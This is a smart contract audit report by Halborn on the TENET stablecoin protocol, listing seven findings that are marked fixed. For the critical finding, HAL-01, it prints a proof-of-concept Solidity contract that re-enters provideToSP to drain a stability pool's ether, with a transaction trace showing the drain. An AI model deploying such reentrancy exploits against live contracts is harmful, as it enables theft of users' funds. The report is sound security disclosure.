TENET - Stablecoin Protocol

Smart Contract Security Assessment

Prepared by: **Halborn**

Date of Engagement: **July 6th, 2023 - August 10th, 2023**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE
0.1	Document Creation	08/06/2023
0.2	Document Updates	08/07/2023
0.3	Document Updates	08/09/2023
0.4	Draft Review	08/10/2023
0.5	Draft Review	08/11/2023
1.0	Remediation Plan	08/21/2023
1.1	Remediation Plan Review	08/21/2023
1.2	Remediation Plan Review	08/21/2023
1.3	Remediation Plan Updates	11/01/2023
1.4	Remediation Plan Updates Review	11/01/2023
1.5	Remediation Plan Updates Review	11/02/2023

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Gokberk Gulgun	Halborn	Gokberk.Gulgun@halborn.com
Omar Alshaeb	Halborn	Omar.Alshaeb@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

The Tenet Stablecoin Protocol is a decentralized stablecoin protocol using the Liquidity model that allows you to draw interest free loans against yield-bearing collateral assets. Loans are drawn in LSDC (a USD pegged stablecoin) and need to maintain a minimum collateral ratio to keep the system healthy and over-collateralized.

TENET engaged Halborn to conduct a security assessment on their smart contracts beginning on July 6th, 2023 and ending on August 10th, 2023. The security assessment was scoped to the smart contracts provided to the Halborn team.

1.2 ASSESSMENT SUMMARY

The team at Halborn was provided five weeks for the engagement and assigned a full-time security engineer to verify the security of the smart contract. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this assessment is to:

- Ensure that smart contract functions operate as intended.
- Identify potential security issues with the smart contracts.

In summary, Halborn identified some security risks that were properly mitigated by the TENET team.

1.3 SCOPE

1. IN-SCOPE:

The security assessment was scoped to the following smart contracts:

- contracts/Dependencies/*
- contracts/Interfaces/*
- contracts/ActivePool.sol
- contracts/Admin.sol
- contracts/Attributes.sol
- contracts/BorrowerOperations.sol
- contracts/ClipManager.sol
- contracts/CollSurplusPool.sol
- contracts/DefaultPool.sol
- contracts/GasPool.sol
- contracts/HintHelpers.sol
- contracts/LSDCToken.sol
- contracts/PriceFeed.sol
- contracts/SortedClips.sol
- contracts/StabilityPool.sol
- contracts/ValidationFeePool.sol

Commit ID: 1ecc0240fed77c23c3bef4d218c8891c0f1902e3

Also, the following commit IDs have been reviewed as an update to the code, removing certain code segments, which decreases both complexity and potential vulnerabilities. Moreover, adding Chainlink oracle support as the price feed.

Commit ID: f781e21dce44faefedbf3552f2f52febbe8deff7

Commit ID: 48fc7b7afd2d8a6cd93864797aacbd632e5215ce

Commit ID: 9182cb1b8254401a8aeba1aa74dd45c9e8939bf3

2. REMEDIATION PR/COMMITS:

- Fix Commit ID (HAL-01): 68607359e3dfd9c57cc20f647b6074dd24b933d9
- Fix Commit ID (Rest of vulnerabilities): 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

1.4 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the bridge code and can quickly identify items that do not follow security best practices. The following phases and associated tools were used throughout the term of the assessment:

- Research into architecture and purpose.
- Smart contract manual code review and walkthrough.
- Graphing out functionality and contract logic/connectivity/functions. (solgraph)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes.
- Manual testing by custom scripts.
- Scanning of solidity files for vulnerabilities, security hotspots or bugs. (MythX)
- Static Analysis of security for scoped contract, and imported functions. (Slither)
- Testnet deployment. (Foundry)

2. RISK METHODOLOGY

Every vulnerability and issue observed by Halborn is ranked based on **two sets** of **Metrics** and a **Severity Coefficient**. This system is inspired by the industry standard Common Vulnerability Scoring System.

The two **Metric sets** are: **Exploitability** and **Impact**. **Exploitability** captures the ease and technical means by which vulnerabilities can be exploited and **Impact** describes the consequences of a successful exploit.

The **Severity Coefficients** is designed to further refine the accuracy of the ranking with two factors: **Reversibility** and **Scope**. These capture the impact of the vulnerability on the environment as well as the number of users and smart contracts affected.

The final score is a value between 0-10 rounded up to 1 decimal place and 10 corresponding to the highest security risk. This provides an objective and accurate rating of the severity of security vulnerabilities in smart contracts.

The system is designed to assist in identifying and prioritizing vulnerabilities based on their level of risk to address the most critical issues in a timely manner.

2.1 EXPLOITABILITY

Attack Origin (AO):

Captures whether the attack requires compromising a specific account.

Attack Cost (AC):

Captures the cost of exploiting the vulnerability incurred by the attacker relative to sending a single transaction on the relevant blockchain. Includes but is not limited to financial and computational cost.

Attack Complexity (AX):

Describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Includes but is not limited to macro situation, available third-party liquidity and regulatory challenges.

Metrics:

Exploitability Metric (m_E)	Metric Value	Numerical Value
Attack Origin (AO)	Arbitrary (AO:A)	1
	Specific (AO:S)	0.2
Attack Cost (AC)	Low (AC:L)	1
	Medium (AC:M)	0.67
	High (AC:H)	0.33
Attack Complexity (AX)	Low (AX:L)	1
	Medium (AX:M)	0.67
	High (AX:H)	0.33

Exploitability E is calculated using the following formula:

$$E = \prod m_e$$

2.2 IMPACT

Confidentiality (C):

Measures the impact to the confidentiality of the information resources managed by the contract due to a successfully exploited vulnerability. Confidentiality refers to limiting access to authorized users only.

Integrity (I):

Measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of data stored and/or processed on-chain. Integrity impact directly affecting Deposit or Yield records is excluded.

Availability (A):

Measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. This metric refers to smart contract features and functionality, not state. Availability impact directly affecting Deposit or Yield is excluded.

Deposit (D):

Measures the impact to the deposits made to the contract by either users or owners.

Yield (Y):

Measures the impact to the yield generated by the contract for either users or owners.

Metrics:

Impact Metric (m_I)	Metric Value	Numerical Value
Confidentiality (C)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Integrity (I)	None (I:N)	0
	Low (I:L)	0.25
	Medium (I:M)	0.5
	High (I:H)	0.75
	Critical (I:C)	1
Availability (A)	None (A:N)	0
	Low (A:L)	0.25
	Medium (A:M)	0.5
	High (A:H)	0.75
	Critical	1
Deposit (D)	None (D:N)	0
	Low (D:L)	0.25
	Medium (D:M)	0.5
	High (D:H)	0.75
	Critical (D:C)	1
Yield (Y)	None (Y:N)	0
	Low (Y:L)	0.25
	Medium: (Y:M)	0.5
	High: (Y:H)	0.75
	Critical (Y:H)	1

Impact I is calculated using the following formula:

$$I = max(m_I) + \frac{\sum m_I - max(m_I)}{4}$$

2.3 SEVERITY COEFFICIENT

Reversibility (R):

Describes the share of the exploited vulnerability effects that can be reversed. For upgradeable contracts, assume the contract private key is available.

Scope (S):

Captures whether a vulnerability in one vulnerable contract impacts resources in other contracts.

Coefficient (C)	Coefficient Value	Numerical Value
Reversibility (r)	None (R:N)	1
	Partial (R:P)	0.5
	Full (R:F)	0.25
Scope (s)	Changed (S:C)	1.25
	Unchanged (S:U)	1

Severity Coefficient C is obtained by the following product:

$$C = rs$$

The Vulnerability Severity Score S is obtained by:

$$S = min(10, EIC * 10)$$

The score is rounded up to 1 decimal places.

Severity	Score Value Range
Critical	9 - 10
High	7 - 8.9
Medium	4.5 - 6.9
Low	2 - 4.4
Informational	0 - 1.9

3. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
1	0	1	1	4

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
(HAL-01) ANY DEPOSITOR CAN DRAIN ALL ETHER FROM THE STABILITY POOL	Critical (10)	SOLVED - 08/07/2023
(HAL-02) ADMIN ADDRESS NEVER INITIALIZED IN ATTRIBUTES CONTRACT	Medium (5.0)	SOLVED - 08/21/2023
(HAL-03) POSSIBLE DOS DUE TO ATTRIBUTES.ASSETS SIZE	Low (2.5)	SOLVED - 08/21/2023
(HAL-04) TWO STEP TRANSFER OWNERSHIP MISSING IN PRICE FEED CONTRACT	Informational (1.0)	SOLVED - 08/21/2023
(HAL-05) MISSING A CAP FOR LSDC GAS COMPENSATION	Informational (0.0)	SOLVED - 08/21/2023
(HAL-06) LONG LITERAL UINT256 USED IN ATTRIBUTES CONTRACT	Informational (0.0)	SOLVED - 08/21/2023
(HAL-07) MISSING CHECKCONTRACT CHECK IN PRICEFEED.SETORACLE()	Informational (0.0)	SOLVED - 08/21/2023

FINDINGS & TECH DETAILS

4.1 (HAL-01) ANY DEPOSITOR CAN DRAIN ALL ETHER FROM THE STABILITY POOL - CRITICAL(10)

Description:

Any depositor, user who provides LSDC tokens to the stability pool, can drain all ether from the pool when claiming his gained rewards from liquidations. Thus, breaking the stablecoin overall logic. There is a reentrancy issue when distributing the ETH gains to depositors after some clips have been liquidated, due to the _sendETHGainToDepositor function within StabilityPool contract missing a reentrancy protection.

Code Location:

Listing 1: StabilityPool.sol (Line 308)

```
295 function provideToSP(uint256 _amount) external override {
296     _requireNonZeroAmount(_amount);
297
298     uint256 initialDeposit = deposits[msg.sender].initialValue;
299
300     uint256 compoundedLSDCDeposit = getCompoundedLSDCDeposit(msg.sender);
301     uint256 LSDCLoss = initialDeposit.sub(compoundedLSDCDeposit); // Needed only for event log
302
303     // Pay out collateral gains
304     address[] memory assets = attributes.getAssets();
305     for (uint256 i = 0; i < assets.length; i++) {
306         address asset = assets[i];
307         uint256 depositorAssetGain = getDepositorETHGain(asset, msg.sender);
308         _sendETHGainToDepositor(asset, depositorAssetGain);
309         emit ETHGainWithdrawn(asset, msg.sender, depositorAssetGain, LSDCLoss); // LSDC Loss required for event log
310
311         _applyValidationRewards(asset);
312     }
```

```
313
314     // Pay out Tenet gains
315     _claimRewardTokens();
316     _payOutTenetGains(msg.sender);
317
318     _sendLSDCtoStabilityPool(msg.sender, _amount);
319
320     uint256 newDeposit = compoundedLSDCDeposit.add(_amount);
321     _updateDepositAndSnapshots(msg.sender, newDeposit);
322     emit UserDepositChanged(msg.sender, newDeposit);
323 }
```

Listing 2: StabilityPool.sol (Line 739)

```
731 function _sendETHGainToDepositor(address _asset, uint256 _amount) internal {
732     if (_amount == 0) {return;}
733     uint256 newETH = ETH[_asset].sub(_amount);
734     ETH[_asset] = newETH;
735     emit StabilityPoolETHBalanceUpdated(_asset, newETH);
736     emit EtherSent(_asset, msg.sender, _amount);
737
738     if (_asset == ETH_REF_ADDRESS) {
739         (bool success, ) = msg.sender.call{ value: _amount }("");
740         require(success, "StabilityPool: sending ETH failed");
741     } else {
742         _unstake(_asset, _amount);
743
744         bool success = IERC20(_asset).transfer(msg.sender, LucidityMath.decimalsCorrection(_asset, _amount));
745         require(success, "StabilityPool: ERC20 transfer failed");
746     }
747 }
```

Proof of Concept:

1. The borrowers open a clip.
2. Two of those borrowers become depositors, sending half of their LSDC token to the stability pool (both send the same amount, so same shares when gaining collateral from liquidations).
3. One of these providers (depositor) is acting maliciously and is using a contract to perform actions when receiving the ether from the stability pool (his gains).
4. He can reenter the function provideToSP as many times as he wants and drain all ether from the stability pool because of the execution of _sendETHGainToDepositor (no reentrancy protection).
5. So, finally, the malicious provider has all the ether from the stability pool and the rest of depositors cannot get their rewards.

Listing 3: MaliciousProvider.sol (Line 36)

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface Target {

    function provideToSP(uint256 _amount) external;

    function balanceOf(address user) external view returns (
uint256);

}

contract MaliciousProvider {

    uint256 i;

    address internal victimContract;
    address internal lSDCToken;

    constructor(address _victimContract, address _lSDCToken) {
        victimContract = _victimContract;
        lSDCToken = _lSDCToken;
    }

```

```
    function firstDeposit() external {
        Target(victimContract).provideToSP(Target(lSDCToken).balanceOf(address(this)) / 2);
    }

    function secondDeposit() external {
        Target(victimContract).provideToSP(Target(lSDCToken).balanceOf(address(this)) / 2);
    }

    receive() payable external {
        if (i == 0) {
            i = 1;
            Target(victimContract).provideToSP(Target(lSDCToken).balanceOf(address(this)) / 2);
        }
    }
}
```

```
├─ [180384] MaliciousProvider::secondDeposit()
│   ├─ [582] lSDCToken::balanceOf(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17]) [staticcall]
│   │   └─ ← 750000000000000000000
│   ├─ [178662] stabilityPool::provideToSP(375000000000000000000)
│   │   ├─ [1454] attributes::getAssets() [staticcall]
│   │   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   │   ├─ emit StabilityPoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _newBalance: 4917627677100494967)
│   │   ├─ emit EtherSent(_asset: 0x0000000000000000000000000000000000000000, _to: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _amount: 4917627677100493500)
│   │   ├─ [141476] MaliciousProvider::fallback{value: 4917627677100493500}()
│   │   │   ├─ [582] lSDCToken::balanceOf(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17]) [staticcall]
│   │   │   │   └─ ← 750000000000000000000
│   │   │   ├─ [117699] stabilityPool::provideToSP(375000000000000000000)
│   │   │   │   ├─ [1454] attributes::getAssets() [staticcall]
│   │   │   │   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   │   │   │   ├─ emit StabilityPoolETHBalanceUpdated(_asset: 0x0000000000000000000000000000000000000000, _newBalance: 1467)
│   │   │   │   ├─ emit EtherSent(_asset: 0x0000000000000000000000000000000000000000, _to: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _amount: 4917627677100493500)
│   │   │   │   ├─ [178] MaliciousProvider::fallback{value: 4917627677100493500}()
│   │   │   │   │   └─ ← ()
│   │   │   │   ├─ emit ETHGainWithdrawn(_asset: 0x0000000000000000000000000000000000000000, _depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _ETH: 4917627677100493500, _LSDCLoss: 750000000000000000000)
│   │   │   │   ├─ emit ETHGainWithdrawn(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _ETH: 0, _LSDCLoss: 750000000000000000000)
│   │   │   │   ├─ [3097] wTNT::transfer(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], 0)
│   │   │   │   │   ├─ emit Transfer(from: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], to: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], value: 0)
│   │   │   │   │   └─ ← true
│   │   │   │   ├─ emit TenetPaidToDepositor(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _tenetGain: 0)
│   │   │   │   ├─ [23432] lSDCToken::sendToPool(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], 375000000000000000000)
│   │   │   │   │   ├─ emit Transfer(from: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], to: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], value: 375000000000000000000)
│   │   │   │   │   └─ ← ()
│   │   │   │   ├─ emit StabilityPoolLSDCBalanceUpdated(_newBalance: 375000000000000000000)
│   │   │   │   ├─ [1454] attributes::getAssets() [staticcall]
│   │   │   │   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   │   │   │   ├─ emit DepositSnapshotUpdated(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _P: 1000000000000000000, _S: 0, _T: 0)
│   │   │   │   ├─ emit UserDepositChanged(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _newDeposit: 375000000000000000000)
│   │   │   │   └─ ← ()
│   │   │   └─ ← ()
│   │   ├─ emit ETHGainWithdrawn(_asset: 0x0000000000000000000000000000000000000000, _depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _ETH: 4917627677100493500, _LSDCLoss: 750000000000000000000)
│   │   ├─ emit ETHGainWithdrawn(_asset: wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], _depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _ETH: 0, _LSDCLoss: 750000000000000000000)
│   │   ├─ [521] TenetRewardIssuanceTester::claim_rewards(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102])
│   │   │   └─ ← ()
│   │   ├─ [564] wTNT::balanceOf(stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102]) [staticcall]
│   │   │   └─ ← 0
│   │   ├─ [3097] wTNT::transfer(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], 0)
│   │   │   ├─ emit Transfer(from: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], to: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], value: 0)
│   │   │   └─ ← true
│   │   ├─ emit TenetPaidToDepositor(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _tenetGain: 0)
│   │   ├─ [2826] lSDCToken::sendToPool(MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], 375000000000000000000)
│   │   │   ├─ emit Transfer(from: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], to: stabilityPool: [0xd0cFb46b0dEbf47ccdb03d1dde9eeda7b84B6102], value: 375000000000000000000)
│   │   │   └─ ← ()
│   │   ├─ emit StabilityPoolLSDCBalanceUpdated(_newBalance: 750000000000000000000)
│   │   ├─ [1454] attributes::getAssets() [staticcall]
│   │   │   └─ ← [0x0000000000000000000000000000000000000000, 0xCe71065D4017F316EC606Fe4422e11eB2c47c246]
│   │   ├─ emit DepositSnapshotUpdated(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _P: 1000000000000000000, _S: 0, _T: 0)
│   │   ├─ emit UserDepositChanged(_depositor: MaliciousProvider: [0xC30190a04DBFaF2FcbC4660E7baC8f8347280a17], _newDeposit: 375000000000000000000)
│   │   └─ ← ()
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:C/R:N/S:U (10)

Recommendation:

The use of reentrancy protection in all the functions that send native tokens to the user is highly recommended to avoid this type of security vulnerability.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 68607359e3dfd9c57cc20f647b6074dd24b933d9

4.2 (HAL-02) ADMIN ADDRESS NEVER INITIALIZED IN ATTRIBUTES CONTRACT - MEDIUM (5.0)

Description:

An admin address is used to perform access control on functions within Attributes.sol contract, which sets critical global parameters for the protocol. However, this address is never initialized and cannot be changed in any way, being always the zero address. Thus, making the admin address unusable.

Code Location:

Listing 4: Attributes.sol (Lines 47,57)

```
47 address public admin;
48 // Address of the account that receives redemption and borrowing fee rewards
49 address public feeCollector;
50
51 EnumerableSetUpgradeable.AddressSet private _assets;
52 mapping (address => AssetConfig) public assetConfigs;
53
54 uint256 internal deploymentStartTime;
55
56 modifier isOwnerOrAdmin() {
57     require(msg.sender == owner() || msg.sender == admin, "Unauthorized");
58     _;
59 }
60
61 function initialize(
62     address _validationRewardsReceiver,
63     address _feeCollector,
64     address _activePoolAddress,
65     address _stabilityPoolAddress,
66     address _validationRewardToken
67 )
```

```
    external
    initializer
{
    __Ownable_init();
    deploymentStartTime  = block.timestamp;

    checkContract(_validationRewardsReceiver);
    checkContract(_feeCollector);
    checkContract(_activePoolAddress);
    checkContract(_stabilityPoolAddress);
    checkContract(_validationRewardToken);

    feeCollector = _feeCollector;
    validationRewardsReceiver = _validationRewardsReceiver;
    activePoolAddress = _activePoolAddress;
    stabilityPoolAddress = _stabilityPoolAddress;
    validationRewardToken = _validationRewardToken;

    MCR = 1250000000000000000; // 125%
    LSDC_GAS_COMPENSATION = 10e18;
    MIN_NET_DEBT = 490e18;
    BORROWING_FEE_FLOOR = DECIMAL_PRECISION / 1000 * 5; // 0.5%
    COL_GAS_COMPENSATION_PERCENT_DIVISOR = 200; // dividing by 200 yields 0.5%
    validationRewardsShare = 10; // dividing by 10 yields 10%

    emit ValidationRewardReceiverUpdated(_validationRewardsReceiver);
    emit ActivePoolAddressChanged(_activePoolAddress);
    emit StabilityPoolAddressChanged(_stabilityPoolAddress);
    emit ValidationRewardTokenUpdated(_validationRewardToken);
}
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:M/A:N/D:N/Y:N/R:N/S:U (5.0)

Recommendation:

The initialization of the admin address is needed for the proper functionality of the contract.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.3 (HAL-03) POSSIBLE DOS DUE TO ATTRIBUTES.ASSETS SIZE - LOW (2.5)

Description:

The owner of the Attributes.sol contract can add new collateral tokens which will be supported by the protocol. When adding support for new collaterals, there is no limit for the current amount of collaterals supported, and as the addresses of the collaterals are added to an enumerable set (_assets), the size of this set can grow considerably over time.

Hence, when any user calls, for instance, StabilityPool.provideToSP() to deposit LSDC tokens to the pool, it iterates over all the collaterals supported, calling _updateDepositAndSnapshots. In the case the size of the set has grown significantly, it could be possible that the TX will revert due to reaching the transaction gas limit.

Code Location:

Listing 5: StabilityPool.sol (Lines 807,810,823)

```
804 function _updateDepositAndSnapshots(address _depositor, uint256
    ↳ _newValue) internal {
805     deposits[_depositor].initialValue = _newValue;
806 
807     address[] memory assets = attributes.getAssets();
808     if (_newValue == 0) {
809         // Set the running sum of every known collateral type to
    ↳ 0, this is necessary because deleting a mapping is not possible.
810         for (uint256 i = 0; i < assets.length; i++) {
811             address asset = assets[i];
812             depositSnapshots[_depositor].assetS[asset] = 0;
813         }
814         delete depositSnapshots[_depositor];
815         emit DepositSnapshotUpdated(_depositor, 0, 0, 0);
816         return;
817     }
818     uint128 currentScaleCached = currentScale;
```

```
    uint128 currentEpochCached = currentEpoch;
    uint256 currentP = P;

    // Get S and T for the current epoch and current scale
    for (uint256 i = 0; i < assets.length; i++) {
        address asset = assets[i];
        uint256 currentS = epochToScaleToAssetToSum[currentEpochCached][currentScaleCached][asset];
        depositSnapshots[_depositor].assetS[asset] = currentS;
    }
    uint256 currentT = epochToScaleToT[currentEpochCached][currentScaleCached];

    // Record new snapshots of the latest running product P and sum S for the depositor
    depositSnapshots[_depositor].P = currentP;
    depositSnapshots[_depositor].T = currentT;
    depositSnapshots[_depositor].scale = currentScaleCached;
    depositSnapshots[_depositor].epoch = currentEpochCached;

    emit DepositSnapshotUpdated(_depositor, currentP, 0, currentT);
}
```

Listing 6: Attributes.sol (Line 156)

```
155 function getAssets() public view returns (address[] memory) {
156     return _assets.values();
157 }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:M/D:N/Y:N/R:P/S:U (2.5)

Recommendation:

It is strongly recommended to set a cap for the amount of collaterals supported by the protocol.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.4 (HAL-04) TWO STEP TRANSFER OWNERSHIP MISSING IN PRICE FEED CONTRACT - INFORMATIONAL (1.0)

Description:

The owner of the PriceFeed.sol contract is set in the constructor(). When transferring the ownership to a new owner, there is no confirmation whether is an active address or not. Transferring the ownership to a wrong address would let the contract without ownership.

Code Location:

Listing 7: PriceFeed.sol

```
contract PriceFeed is OwnableUpgradeable, CheckContract,
↳ IPriceFeed {
```

Listing 8: OwnableUpgradeable.sol (Line 76)

```
74 function transferOwnership(address newOwner) public virtual
   ↳ onlyOwner {
75     require(newOwner != address(0), "Ownable: new owner is the
   ↳ zero address");
76     _transferOwnership(newOwner);
77 }
```

Listing 9: OwnableUpgradeable.sol (Line 85)

```
83 function _transferOwnership(address newOwner) internal virtual {
84     address oldOwner = _owner;
85     _owner = newOwner;
86     emit OwnershipTransferred(oldOwner, newOwner);
87 }
```

BVSS:

AO:S/AC:L/AX:L/C:N/I:N/A:C/D:N/Y:N/R:P/S:U (1.0)

Recommendation:

The use of two-step transfer of ownership is recommended in critical contracts as price feed.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.5 (HAL-05) MISSING A CAP FOR LSDC GAS COMPENSATION - INFORMATIONAL (0.0)

Description:

The owner of the Attributes.sol contract, when setting the LSDC_GAS_COMPENSATION protocol parameter within setLSDCGasCompensation() function, there are no checks regarding the quantity being set.

Code Location:

Listing 10: Attributes.sol (Line 113)

```
112 function setLSDCGasCompensation(uint256 _gasCompensation) external
    ↳ override isOwnerOrAdmin {
113     LSDC_GAS_COMPENSATION = _gasCompensation;
114     emit LSDCGasCompensationUpdated(_gasCompensation);
115 }
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:P/S:U (0.0)

Recommendation:

An important parameter for the protocol as is LSDC_GAS_COMPENSATION, which plays a vital role, it is strongly recommended to set a cap for it.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.6 (HAL-06) LONG LITERAL UINT256 USED IN ATTRIBUTES CONTRACT - INFORMATIONAL (0.0)

Description:

Critical protocol parameters are set within the initialize() function of Attributes.sol contract. Specifically, MCR (minimum collateral ratio) is set using a long literal. This can lead to confusion on the percentages configured for the correct functionality of the whole protocol.

Code Location:

Listing 11: Attributes.sol (Line 86)

```
function initialize(
    address _validationRewardsReceiver,
    address _feeCollector,
    address _activePoolAddress,
    address _stabilityPoolAddress,
    address _validationRewardToken
)
    external
    initializer
{
    __Ownable_init();
    deploymentStartTime  = block.timestamp;

    checkContract(_validationRewardsReceiver);
    checkContract(_feeCollector);
    checkContract(_activePoolAddress);
    checkContract(_stabilityPoolAddress);
    checkContract(_validationRewardToken);

    feeCollector = _feeCollector;
    validationRewardsReceiver = _validationRewardsReceiver;
    activePoolAddress = _activePoolAddress;
    stabilityPoolAddress = _stabilityPoolAddress;
    validationRewardToken = _validationRewardToken;
```

```

    MCR = 1250000000000000000; // 125%
    LSDC_GAS_COMPENSATION = 10e18;
    MIN_NET_DEBT = 490e18;
    BORROWING_FEE_FLOOR = DECIMAL_PRECISION / 1000 * 5; // 0.5%
    COL_GAS_COMPENSATION_PERCENT_DIVISOR = 200; // dividing by 200 yields 0.5%
    validationRewardsShare = 10; // dividing by 10 yields 10%

    emit ValidationRewardReceiverUpdated(_validationRewardsReceiver);
    emit ActivePoolAddressChanged(_activePoolAddress);
    emit StabilityPoolAddressChanged(_stabilityPoolAddress);
    emit ValidationRewardTokenUpdated(_validationRewardToken);
}
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:P/S:U (0.0)

Recommendation:

To avoid any confusion or human errors while setting those parameters, the use of exponentiation (125e16, 13e17, etc.) is recommended instead.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

4.7 (HAL-07) MISSING CHECKCONTRACT CHECK IN PRICEFEED.SETORACLE() - INFORMATIONAL (0.0)

Description:

In the PriceFeed.sol contract, when setting the oracle address using setOracle() function, the checkContract() check is missing for _oracleAddress parameter.

Code Location:

Listing 12: PriceFeed.sol (Line 37)

```
function setOracle(address _oracleAddress) external onlyOwner {
    oracle = IOracle(_oracleAddress);
}
```

BVSS:

AO:A/AC:L/AX:L/C:N/I:N/A:N/D:N/Y:N/R:P/S:U (0.0)

Recommendation:

When the address needs to be a contract, as the case with _oracleAddress, it is recommended to check it as done within setAddresses() function.

Remediation Plan:

SOLVED: The TENET team solved the issue in the following commit:

Commit ID : 88ee906ba478fec9abbb91979b7ea863bfb8bcb2

MANUAL TESTING

The main goal of the manual testing performed during this assessment was to test all the functionalities regarding the tenet LSDC stablecoin overall protocol, focusing on the following points/scenarios:

1. Tests focused on borrowing LSDC and adding collateral to the clips (as a borrower of the protocol and using multiple collateral tokens)

- Open a new clip with ERC20 tokens as collateral.
- Open a new clip with ETH as collateral.
- Add more collateral to the clips.
- Check how the new ICR is calculated.
- Check how the new index of the clip is calculated and reinserted.

```
  ├─ [636323] borrowerOperations::openClip(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], 10000000000000000000, 5000000000000000, 150000000000000000000, borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C243
6])
  │   ├─ [2606] priceFeedTestnet::fetchPrice(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246])
  │   │   └─ ← 200000000000000000000
  │   ├─ [2392] attributes::getBorrowingFeeFloor() [staticcall]
  │   │   └─ ← 5000000000000000
  │   ├─ [2856] clipManager::getClipStatus(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246], borrower: [0x05650444aCe15A01762Bd97EE8fDeb495b3C2436]) [staticcall]
  │   │   └─ ← 0
  │   ├─ [2598] attributes::isDepositAllowed(wTNT: [0xCe71065D4017F316EC606Fe4422e11eB2c47c246]) [staticcall]
  │   │   └─ ← true
